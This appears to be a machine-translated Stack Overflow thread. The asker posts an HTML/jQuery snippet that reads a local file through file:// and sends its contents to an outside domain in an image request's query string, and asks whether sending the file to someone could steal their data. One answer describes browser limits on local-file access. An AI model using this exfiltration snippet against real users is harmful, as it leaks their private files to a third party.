通过运行html文件窃取用户的数据

Dan*_*sky 11 html javascript security xmlhttprequest imagesource

我们来谈谈安全性.在我看来,理论上,如果用户用它打开html文件(从他的文件系统打开,而不是从网络打开),我可以用一些脚本从用户的文件系统获取信息.看看代码:

info.txt:

my info
Run Code Online (Sandbox Code Playgroud)

index.html的:

<!doctype html>

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
    <script>
      $(document).ready(function () {
        $.get('file:///home/daz/desktop/info.txt', function (data) {
          $('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
        }, 'text');
      });
    </script>
  </head>    
  <body></body>
</html>
Run Code Online (Sandbox Code Playgroud)

某些浏览器(Firefox,例如)允许您从获得的文件file://通过XmlHttpRequest,所以如果我猜的文件路径,然后我就可以得到它的通过Ajax内容.然后我可以通过查询字符串中的参数以dinamically方式添加img带有src我的域的标记.浏览器乖乖地提出请求GET ?data=my%20info%0A domain.com.在服务器端,我可以解析查询字符串并获取数据.

我是对的,我可以这样做吗?我是对的,如果他打开我的html文件,我可以从他的电脑中获取用户的数据吗?所以我可以说:"嘿,朋友,看看这个档案!" (有2个限制:用户应该使用firefox或类似配置的其他东西,我无法获取用户因访问权限无法访问的文件).

更新:

如果有可能,为什么有可能呢?他们为什么允许你做这些事情.为什么没有确认对话框或其他内容.

更新2:

如果有人对此问题进行审核,那将会很棒.提前致谢!

dus*_*uff 5

这比你想象的要少.各种浏览器对本地HTML文件可以执行的操作实施了不同的限制,如Chromium开发团队在本文中所述:

http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html

特别是:

  • 默认情况下,Internet Explorer禁用本地HTML文件中的Javascript
  • Opera对本地文件的跨域访问设置了一些限制
  • Firefox将子目录限制应用于本地文件访问

(请注意,这篇文章是从2008年开始的;浏览器 - 特别是Chrome--从那时起可能发生了重大变化.)